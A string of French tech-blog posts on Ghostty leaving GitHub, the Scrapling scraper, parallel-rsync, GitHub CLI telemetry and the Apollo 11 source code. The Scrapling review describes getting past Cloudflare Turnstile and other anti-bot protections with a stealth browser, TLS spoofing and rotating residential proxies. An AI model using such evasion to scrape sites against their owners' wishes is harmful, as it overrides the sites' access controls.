Côté faits, son constat est vraiment étayé. GitHub a publiquement reconnu sur son blog officiel que ses récentes pannes sont dues à "une croissance rapide, un couplage architectural et des limitations de gestion de charge". Pas de complot donc mais un aveu honnête.

Quand votre infra ne tient plus la charge et que vos services principaux tombent quasi quotidiennement, vendre du cloud computing devient trèèèès compliqué. Alors pour un projet open source qui dépend des Actions pour ses tests automatiques, des PRs pour les contributions extérieures, ou des Issues pour son support... 2 heures de blocage par jour, c'est franchement énorme et ça casse bien les couilles.

C'est l'équivalent d'un quart de la journée de travail balayé et sur un trimestre, ça commence à coûter super cher en énergie mentale...

Maintenant, Hashimoto souhaite quand même conserver ses projets personnels sur GitHub. Seul Ghostty migre, donc ce n'est pas non plus un boycott idéologique de Microsoft, ni une croisade contre la centralisation. C'est surtout une décision pragmatique pour un projet collectif qui doit fonctionner H24.

Un dépôt perso peut se permettre une heure de downtime sans drama. Je le précise pour éviter de transformer le sujet en guerre culturelle prêt à penser. C'est plus un divorce avec négociation qu'une révolution sanguinaire.

Après y'a des alternatives... De leur côté, Codeberg et Forgejo tournent super bien sans oublier GitLab pour ceux qui préfèrent du commercial all-in-one, ou tout simplement Gitea ou Forgejo en version auto-hébergée pour ceux qui veulent vraiment garder la main.

L'auto-hébergement n'a jamais été aussi accessible . Un VPS Linux à 5 balles par mois, un Forgejo en Docker compose, un fournisseur de CI externe ou des runners locaux... et vous avez une forge équivalente à un GitHub des années 2015. Le hic, c'est surtout l'effet réseau car un mainteneur peut migrer son repo, mais comment ramener ses contributeurs qui ont toutes leurs notifs, leurs follows, leur réputation accumulée sur GitHub ?

C'est pas si simple...

Car c'est là que ça coince vraiment. En fait, le verrou n'est pas technique, il est social, et c'est pas demain matin qu'on le fera sauter. Ghostty peut se permettre de quitter GitHub précisément parce que le projet a atteint la masse critique où les contributeurs viennent même quand on déménage mais la plupart des projets open source n'ont pas ce luxe.

Pour eux, partir de GitHub c'est risquer de perdre 90 pourcent de leur visibilité du jour au lendemain. Et sans visibilité, pas de contributeurs et pas de PRs... du coup le projet se plante avant même de démarrer. C'est dommage !

Notez quand même que Forgejo travaille d'ailleurs activement sur la fédération via ActivityPub , et à terme, ça pourrait permettre une vraie décentralisation des forges sur le modèle de Mastodon. Mais à condition que l'écosystème suive...

Maintenant, pour les mainteneurs qui se reconnaissent dans la frustration de Hashimoto, le moment est plutôt favorable, je trouve, pour aller tester Codeberg sur un projet secondaire avant de peut-être déménager votre projet principal.

Tout ça est faisable en un week-end ou deux. Certes, il y a un petit coût à cette migration, mais disons que c'est un investissement pour la sérénité de demain.

Bref, un gros big up à Hashimoto pour son courage !

Source

Scrapling - Le scraper Python qui se répare tout seul

Par : Korben ✨

Le scraping web, c'est un combat permanent contre les sites qui changent leur HTML toutes les deux semaines. Vous vous emmerdez à coder vos sélecteurs CSS, ça marche pendant un mois, puis le site refait son design et hop, votre script s'eteint en silence. C'est pourquoi Karim Shoair (alias D4Vinci sur GitHub) a sorti Scrapling, un framework Python qui s'adapte tout seul quand le DOM bouge.

La clé c'est adaptive=True sur n'importe quel sélecteur. Vous lui dites "je cherchais .product", Scrapling sauvegarde alors la signature de l'élément (texte, attributs, position dans l'arbre), et la prochaine fois que le site a renommé sa classe, il retrouve l'élément via similarité.

Concrètement ça donne ça :

from scrapling.fetchers import StealthyFetcher
StealthyFetcher.adaptive = True
page = StealthyFetcher.fetch('https://example.com', headless=True)
product = page.css_first('.product', adaptive=True) # Retrouve l'élément même si la classe a changé

Le truc marche grâce à un algo de similarité maison qui compare la structure DOM autour de l'élément. L'auteur lui-même a écrit un long post Medium intitulé " Creating self-healing spiders with Scrapling in Python without AI ", et ça résume bien la philosophie : pas de modèle IA mais juste des heuristiques solides !

La doc précise que adaptive=True ne sauvegarde que le premier élément de la sélection. Du coup si vous récupérez 50 produits d'un coup avec .css('.product'), seul le premier sera adapté. Faudra donc soit utiliser css_first comme dans l'exemple, soit boucler manuellement et appeler adaptive sur chaque élément. C'est bon à savoir...

Y'a également 3 fetchers selon le besoin. Fetcher pour les requêtes HTTP rapides avec spoofing TLS, StealthyFetcher qui passe Cloudflare Turnstile via un navigateur furtif (Camoufox sous le capot), et DynamicFetcher qui lance un Chromium ou un Chrome via Playwright pour les sites lourds en JS. Du coup vous pouvez démarrer léger en HTTP et basculer vers un navigateur uniquement quand un site bloque, sans réécrire votre code.

Côté perfs, le README annonce du lourd : 2 ms pour extraire 5000 éléments contre 1584 ms pour BeautifulSoup avec lxml. Sauf que Parsel et Scrapy font aussi 2 ms. Donc le gain vient du moteur lxml utilisé en direct, ce qui veut dire que si vous étiez déjà sur Scrapy, vous ne gagnerez pas en vitesse brute. Mais si vous traînez encore du BS4 partout, le saut sera énorme !

Sur le terrain anti-bot, ça se compare bien à Botasaurus dont je vous avais parlé. La différence c'est que Scrapling embarque un ProxyRotator natif et propose un blocage d'ads/trackers (~3500 domaines) activable via block_ads=True ou automatique en mode MCP, ce qui simplifie la vie quand vous tournez sur un serveur (où les IPs des datacenter se font régulièrement filtrer). Botasaurus, lui, vous laisse gérer la rotation à la main.

Détail sympa pour les bidouilleurs : y'a également un serveur MCP est intégré (pip install "scrapling[ai]"). Du coup Claude ou Cursor peuvent piloter Scrapling directement pour extraire des données, en réduisant la consommation de tokens car l'IA ne voit pas tout le HTML brut, juste ce qui est extrait. Pour les agents qui scrappent en boucle, c'est cool.

Notez que les sponsors Platinum du projet sont tous des fournisseurs de proxies (DataImpulse, BirdProxies, Evomi, etc.). C'est logique vu l'usage du framework, mais gardez en tête que pour bypasser un Cloudflare sérieux à grande échelle, vous aurez besoin de proxies résidentiels payants, donc d'eux. L'outil est gratuit, mais le contournement industriel ne l'est pas.

Pour installer, c'est pip install "scrapling[fetchers]" puis scrapling install pour récupérer les binaires navigateur. Une image Docker existe aussi (pyd4vinci/scrapling) et y'a même un shell interactif (scrapling shell) pour debugger vos sélecteurs en live.

Bref, c'est carrément pas mal pour ceux qui scrapent régulièrement. Alors si BS4 vous fait pleurer, allez voir par ici .

Et merci à Letsar pour le lien !

parallel-rsync - Empiler les rsync en parallèle sans galère

Par : Korben ✨

Vous synchronisez 4 ou 5 dossiers vers plusieurs serveurs avec rsync ? Alors vous connaissez ce sketch quand un job mouline pendant que les autres font la queue, parce que rsync de base c'est mono-thread et ça avance en file indienne.

Hé bien y'a un petit utilitaire Python qui dégoupille tout ça, pondu par overflowy. Ça s'appelle parallel-rsync et le nom annonce la couleur !

L'idée c'est de pouvoir empiler plusieurs jobs rsync en parallèle, avec une config YAML pour piloter le tout. Vous décrivez vos sources et destinations dans sync.yml, vous lancez parallel-rsync -c sync.yml --workers 4 --max-per-host 2, et hop, ça parallélise.

Le bougre tourne sur un ThreadPoolExecutor Python 3 qui spawn N processus rsync système avec un cap global et un cap par hôte. Et pendant ce temps, des barres de progression vous affichent l'avancement de chaque transfert sans que la console parte en sucette.

La dernière fois, je vous parlais de rsyncy qui collait juste une barre de progression à un rsync solo mais là, on monte clairement d'un cran avec une orchestration multi-cibles.

--workers cap c'est donc le nombre total de processus rsync simultanés (4 par défaut). --max-per-host limite la concurrence par destination (2 par défaut, histoire de ne pas saturer un seul serveur, parce que oui, balancer 8 rsync sur la même machine c'est juste se tirer une balle dans le pied côté I/O).

--timeout met une laisse à chaque rsync, --dry-run ajoute le flag à toutes les commandes pour tester avant de tirer, et --no-progress débraye les barres si vous voulez juste les logs. Côté logging, --log-file et --log-level font également le job.

Par contre y'a pas de retry automatique donc si une session SSH coupe en plein transfert, faudra relancer à la main. C'est logique mais un peu dommage.

Sur un homelab, ce genre de config YAML permet de résoudre le problème des synchros récurrentes avec un seul fichier centralisé au lieu de 8 scripts shell.

Notez aussi que le repo build un binaire universel via cosmofy , qui empaquette le tout en un exécutable cross-platform Windows, macOS et Linux d'un coup. Du coup, pas besoin d'installer Python sur la machine cible. Carrément pratique pour distribuer sur des serveurs où vous n'avez pas envie de gérer un environnement Python complet avec pip et un venv.

Petit point d'attention quand même : rsync lui-même doit être installé sur la machine qui lance le binaire, ce qui est natif sous macOS et Linux mais nécessite WSL ou Cygwin sous Windows.

Y'avait déjà msrsync qui découpe les transferts en buckets, parsyncfp qui s'appuie sur fpart pour grouper par taille, et la classique combine find . -type f | parallel -j10 rsync que tout sysadmin a bricolée un jour pour gratter de la bande passante. De son côté, overflowy se place plutôt sur le créneau "config déclarative" pour orchestrer plusieurs rsync entre sources et cibles.

Le code est sous licence MIT et tout se passe sur le repo GitHub . À tester si vous orchestrez régulièrement plusieurs rsync à la main.

GitHub active par défaut la télémétrie sur son outil en ligne de commande

Depuis la version 2.91.0 du CLI GitHub publiée mardi, chaque commande que vous tapez dans gh envoie des données de télémétrie vers GitHub par défaut. L'activation est silencieuse, sans message au premier lancement, sans consentement explicite, et il faut fouiller dans la doc pour tomber sur la page dédiée au sujet.

GitHub décrit la collecte comme pseudonyme côté client. Concrètement, le payload embarque le nom de la commande lancée, un identifiant d'invocation, un identifiant d'appareil, l'OS, l'architecture, l'agent et quelques drapeaux.

L'entreprise précise que le contenu exact peut varier d'un appel à l'autre. La justification officielle : les équipes produit ont besoin de voir comment le CLI est utilisé, avec la montée en puissance des agents IA qui le pilotent de plus en plus souvent en arrière-plan.

Côté sortie, il y a trois moyens de couper la télémétrie. Vous pouvez définir la variable d'environnement GH_TELEMETRY à false, ou DO_NOT_TRACK à true, ou lancer gh config set telemetry disabled. Simple en apparence.

Sauf que rien de tout ça n'est signalé à l'installation, et qu'un utilisateur qui n'est pas tombé sur le billet de Brandon Vigliarolo dans The Register ne saura probablement pas que c'est activé sur sa machine.

Le terme pseudonyme mérite aussi qu'on le regarde de près. Pseudonyme ne veut pas dire anonyme : il y a un identifiant d'appareil stable, il y a un identifiant d'invocation, et GitHub connaît déjà votre compte si vous êtes authentifié avec gh auth login.

Du coup, le recoupement entre votre activité CLI et votre identité GitHub n'a rien de théorique, même si GitHub ne promet pas de le faire.

En pratique, la télémétrie des outils de dev n'est pas une nouveauté. VS Code le fait depuis des années, npm aussi, et la plupart des éditeurs jouent le même jeu. Ce qui coince ici, c'est le choix de l'opt-out plutôt que de l'opt-in, et l'absence d'annonce claire sur le changelog principal.

Les utilisateurs reprochent surtout à GitHub d'avoir glissé l'info dans une page de doc au lieu d'un billet de blog dédié. Pour un outil qu'utilisent des gens très à cheval sur leur vie privée, c'est un drôle de calcul.

Bref, un outil CLI qui s'active en mode collecte par défaut sans prévenir, ça pique. Heureusement une variable d'environnement suffit à couper. Mais il faut savoir qu'elle existe.

Source : The Register

Le code qui a posé Apollo 11 sur la Lune est libre d'accès sur GitHub

Par : Korben

Le logiciel qui a piloté la descente du module lunaire Eagle le 20 juillet 1969 dort tranquillement dans un dépôt GitHub que n'importe qui peut cloner, lire, voire compiler chez soi. Deux gros paquets d'assembleur AGC : Comanche055 pour le module de commande, Luminary099 pour le module lunaire. Tout est dans le domaine public, puisque développé par la NASA.

Le dépôt chrislgarry/Apollo-11 existe depuis 2016, mais il faut imaginer ce qu'il y a dedans : des dizaines de milliers de lignes d'assembleur écrites à la main entre 1965 et 1969, assemblées sur les mainframes d'époque, puis gravées physiquement dans de la mémoire tissée, la fameuse rope memory, par des ouvrières chez Raytheon qui cousaient le code à l'aiguille. Oui, cousaient, vous voyez le genre en illustration de cet article, ou la photo ci-dessous signée Martin Hertig .

Le travail de numérisation vient de Paul Fjeld, du MIT Museum et de Ron Burkey, qui dirige le projet Virtual AGC depuis des années. Ils ont scanné et corrigé à la main les listings papier conservés au musée, avant que Chris Garry, stagiaire NASA à l'époque, ne les pousse sur GitHub. Le résultat est 100% assembleur AGC, assemblable via l'outil yaYUL qui tourne sous Linux, macOS, Windows et même FreeBSD.

Les commentaires, surtout, font tout le sel de l'archive. Les équipes de Margaret Hamilton, qui dirigeait la Software Engineering Division au MIT Instrumentation Lab, laissaient des remarques moqueuses au milieu des routines critiques. La plus connue : "BURN BABY BURN -- MASTER IGNITION ROUTINE", juste au-dessus du bloc qui déclenchait la mise à feu. Il y a aussi "TEMPORARY, I HOPE HOPE HOPE", collé sur un patch resté en place pendant toute la mission.

Le passage le plus parlant reste la séquence d'alarmes 1201 et 1202 pendant la descente finale. Un radar de rendez-vous mal positionné saturait le calculateur en pleine approche. Le logiciel écrit par l'équipe Hamilton a fait exactement ce qu'il devait faire : abandonner les tâches non critiques, garder le pilotage actif, et laisser Armstrong se poser. Environ 64 Ko de mémoire et deux kilos de ferrite, gérés en priorité tournante, ont sauvé la mission.

Côté usage concret, cloner le dépôt prend deux secondes. Compiler avec Virtual AGC demande un peu plus de patience, mais ça tourne. Vous pouvez ensuite lancer un simulateur et rejouer la descente touche par touche. Pour les curieux, c'est une archive historique géniale. Pour les étudiants en informatique, c'est un cours d'architecture système qu'aucun manuel ne remplace.

Bref, du code vieux de 57 ans, libre, commenté avec humour, et qui a posé deux humains sur la Lune. Pas mal !

Source : Techspot

❌